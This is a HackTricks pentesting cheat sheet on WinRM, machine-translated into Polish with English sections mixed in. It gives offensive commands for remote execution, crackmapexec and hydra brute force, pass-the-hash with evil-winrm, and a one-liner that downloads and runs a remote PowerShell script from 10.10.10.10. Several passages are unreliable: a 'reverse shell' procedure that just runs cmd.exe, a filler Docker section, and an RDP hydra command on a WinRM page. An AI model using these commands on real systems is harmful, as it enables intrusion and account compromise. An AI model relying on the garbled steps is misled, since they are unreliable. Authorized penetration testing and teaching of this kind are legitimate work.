21 KiB
5985,5986 - Testowanie penetracyjne WinRM
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
Aktualności na żywo z hakerstwa
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
WinRM
Windows Remote Management (WinRM) jest protokołem opracowanym przez Microsoft, który umożliwia zdalne zarządzanie systemami Windows za pomocą HTTP(S), wykorzystując SOAP w procesie. Jest zasadniczo oparty na WMI i prezentuje się jako interfejs oparty na HTTP do operacji WMI.
Obecność WinRM na maszynie umożliwia łatwe zdalne zarządzanie za pomocą PowerShell, podobnie jak SSH działa w innych systemach operacyjnych. Aby sprawdzić, czy WinRM jest aktywny, zaleca się sprawdzenie otwarcia określonych portów:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, umożliwiając próby rozpoczęcia sesji zdalnej.
Rozpoczęcie sesji WinRM
Aby skonfigurować PowerShell dla WinRM, używamy polecenia Enable-PSRemoting
firmy Microsoft, które konfiguruje komputer do akceptowania zdalnych poleceń PowerShell. Mając podniesione uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i wyznaczyć dowolny host jako zaufany:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji trustedhosts
, co wymaga ostrożnego rozważenia ze względu na jego implikacje. Zauważono również, że może być konieczne zmienienie typu sieci z "Publiczna" na "Praca" na maszynie atakującego.
Ponadto, WinRM można aktywować zdalnie za pomocą polecenia wmic
, jak pokazano poniżej:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność zarządzania maszynami z systemem Windows z daleka.
Sprawdź, czy jest skonfigurowane
Aby zweryfikować konfigurację maszyny atakującej, używane jest polecenie Test-WSMan
, które sprawdza, czy docelowy system ma poprawnie skonfigurowany WinRM. Wykonując to polecenie, powinieneś otrzymać szczegóły dotyczące wersji protokołu i wsmid, co wskazuje na poprawną konfigurację. Poniżej znajdują się przykłady przedstawiające oczekiwane wyniki dla skonfigurowanego celu i nieskonfigurowanego:
- Dla celu, który jest poprawnie skonfigurowany, wynik będzie wyglądał podobnie jak:
Test-WSMan <target-ip>
Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza, że WinRM jest poprawnie skonfigurowany.
- W przypadku celu nie skonfigurowanego dla WinRM, nie będzie takich szczegółowych informacji, co wskazuje na brak poprawnej konfiguracji WinRM.
Wykonaj polecenie
Aby zdalnie wykonać polecenie ipconfig
na maszynie docelowej i wyświetlić jego wynik, wykonaj:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Możesz również wykonać polecenie z bieżącej konsoli PS za pomocą Invoke-Command. Załóżmy, że masz lokalnie funkcję o nazwie enumeration i chcesz ją wykonać na zdalnym komputerze, możesz to zrobić:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Wykonaj skrypt
To execute a script on a target machine using WinRM, you can use the Invoke-Command
cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
Replace <target>
with the IP address or hostname of the target machine, and <script>
with the script you want to execute.
For example, to execute a PowerShell script named script.ps1
on a target machine with the IP address 192.168.1.100
, you would use the following command:
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock { C:\path\to\script.ps1 }
Make sure to provide the correct path to the script on the target machine.
This method can be useful for automating tasks or executing commands on multiple machines simultaneously.
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Uzyskaj odwróconą powłokę
Aby uzyskać odwróconą powłokę, możesz wykorzystać narzędzie winrm
do zdalnego wykonywania poleceń na maszynie docelowej. Poniżej przedstawiono kroki, które należy podjąć:
- Upewnij się, że masz dostęp do maszyny docelowej i zainstaluj narzędzie
winrm
na swoim systemie. - Skonfiguruj
winrm
na maszynie docelowej, aby umożliwić zdalne wykonywanie poleceń. Możesz to zrobić za pomocą poleceniawinrm quickconfig
lub ręcznie konfigurując usługęwinrm
. - Sprawdź, czy
winrm
jest aktywny na maszynie docelowej, wykonując poleceniewinrm enumerate winrm/config/Listener
. - Jeśli
winrm
jest aktywny, użyj narzędziawinrs
lubwinrm
na swoim systemie, aby nawiązać połączenie z maszyną docelową. Na przykład, jeśli chcesz użyć narzędziawinrs
, wykonaj poleceniewinrs -r:http://<adres_ip>:5985 -u:<użytkownik> -p:<hasło> <polecenie>
, gdzie<adres_ip>
to adres IP maszyny docelowej,<użytkownik>
to nazwa użytkownika, a<hasło>
to hasło użytkownika. - Po nawiązaniu połączenia możesz wykonywać polecenia na maszynie docelowej, takie jak uruchamianie powłoki odwróconej. Na przykład, jeśli chcesz uruchomić powłokę odwróconą
cmd.exe
, wykonaj poleceniecmd.exe
.
Pamiętaj, że uzyskanie odwróconej powłoki na maszynie docelowej jest nielegalne, jeśli nie masz uprawnienia do tego. Upewnij się, że działasz zgodnie z prawem i posiadasz odpowiednie uprawnienia przed przeprowadzeniem testów penetracyjnych.
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Uzyskaj sesję PS
Aby uzyskać interaktywną powłokę PowerShell, użyj polecenia Enter-PSSession
:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
Sesja zostanie uruchomiona w nowym procesie (wsmprovhost) wewnątrz "ofiary"
Wymuszanie otwarcia WinRM
Aby korzystać z PS Remoting i WinRM, ale komputer nie jest skonfigurowany, można go włączyć za pomocą:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Zapisywanie i przywracanie sesji
To nie zadziała, jeśli język jest ograniczony na zdalnym komputerze.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
Wewnątrz tych sesji możesz załadować skrypty PS za pomocą Invoke-Command
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Błędy
Jeśli napotkasz następujący błąd:
enter-pssession : Połączenie z zdalnym serwerem 10.10.10.175 nie powiodło się z następującą wiadomością o błędzie: Klient WinRM nie może przetworzyć żądania. Jeśli schemat uwierzytelniania różni się od Kerberos lub jeśli komputer klienta nie jest dołączony do domeny, należy użyć transportu HTTPS lub dodać maszynę docelową do ustawienia konfiguracji TrustedHosts. Użyj polecenia winrm.cmd, aby skonfigurować TrustedHosts. Należy zauważyć, że komputery znajdujące się na liście TrustedHosts mogą nie być uwierzytelnione. Więcej informacji na ten temat można uzyskać, wykonując następujące polecenie: winrm help config. Aby uzyskać więcej informacji, zobacz temat Pomoc dotyczący rozwiązywania problemów związanych z zdalnym dostępem (about_Remote_Troubleshooting).
Spróbuj na kliencie (informacje z tutaj):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Wgląd w Hacking
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem
Aktualności na żywo o Hackingu
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i wglądowi
Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Połączenie WinRM w systemie Linux
Atak Brute Force
Bądź ostrożny, atak brute-force na WinRM może zablokować użytkowników.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Używanie evil-winrm
Evil-winrm to narzędzie, które umożliwia zdalne wykonywanie poleceń na zdalnym serwerze Windows, wykorzystując protokół WinRM (Windows Remote Management). Działa podobnie jak narzędzie PowerShell Remoting, ale oferuje dodatkowe funkcje i ułatwienia.
Aby użyć evil-winrm, należy najpierw zainstalować go na swoim systemie. Można to zrobić za pomocą narzędzia RubyGems, wykonując polecenie:
gem install evil-winrm
Po zainstalowaniu narzędzia, można go uruchomić, podając odpowiednie parametry, takie jak adres IP lub nazwa hosta zdalnego serwera, nazwa użytkownika i hasło. Przykładowe polecenie wygląda następująco:
evil-winrm -i <adres_IP_lub_nazwa_hosta> -u <nazwa_użytkownika> -p <hasło>
Po nawiązaniu połączenia z serwerem, można wykonywać polecenia na zdalnym systemie Windows, takie jak przeglądanie plików, uruchamianie skryptów, zmiana ustawień systemowych itp.
Evil-winrm oferuje również funkcje takie jak przesyłanie plików między lokalnym systemem a zdalnym serwerem, zdalne wykonywanie poleceń w tle oraz interaktywny tryb sesji, który umożliwia interakcję z systemem zdalnym w czasie rzeczywistym.
Należy jednak pamiętać, że używanie evil-winrm do nieautoryzowanego dostępu do systemów jest nielegalne i narusza prywatność innych osób. Narzędzie to powinno być używane wyłącznie w celach pentestingu lub w ramach legalnych działań związanych z administracją systemów.
gem install evil-winrm
Przeczytaj dokumentację na jego githubie: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
Aby użyć evil-winrm do połączenia z adresem IPv6, utwórz wpis wewnątrz /etc/hosts, ustawiając nazwę domeny na adres IPv6, a następnie połącz się z tą domeną.
Przekazanie skrótu hasła z użyciem evil-winrm
evil-winrm -u <username> -H <Hash> -i <IP>
Używanie maszyny PS-docker
To use a PS-docker machine, you need to have Docker installed on your system. Docker is a platform that allows you to automate the deployment and management of applications using containers. Once you have Docker installed, you can follow the steps below to set up and use a PS-docker machine for pentesting purposes.
-
First, create a new PS-docker machine by running the following command:
docker-machine create --driver hyperv --hyperv-virtual-switch "Virtual Switch" ps-docker
This command will create a new PS-docker machine using the Hyper-V driver and the specified virtual switch.
-
Once the machine is created, you can start it by running the following command:
docker-machine start ps-docker
This command will start the PS-docker machine.
-
To connect to the PS-docker machine, run the following command:
docker-machine env ps-docker | Invoke-Expression
This command will set the environment variables required to connect to the PS-docker machine.
-
Finally, you can use the PS-docker machine by running the following command:
docker run -it --rm mcr.microsoft.com/powershell
This command will start a PowerShell container on the PS-docker machine.
By following these steps, you can set up and use a PS-docker machine for pentesting purposes. This allows you to leverage the power of Docker and PowerShell for your hacking activities.
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Używanie skryptu ruby
Kod wydobyty stąd: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
Referencje
Automatyczne polecenia HackTricks
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa.
Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom.
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy.
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Naucz się hakerstwa AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.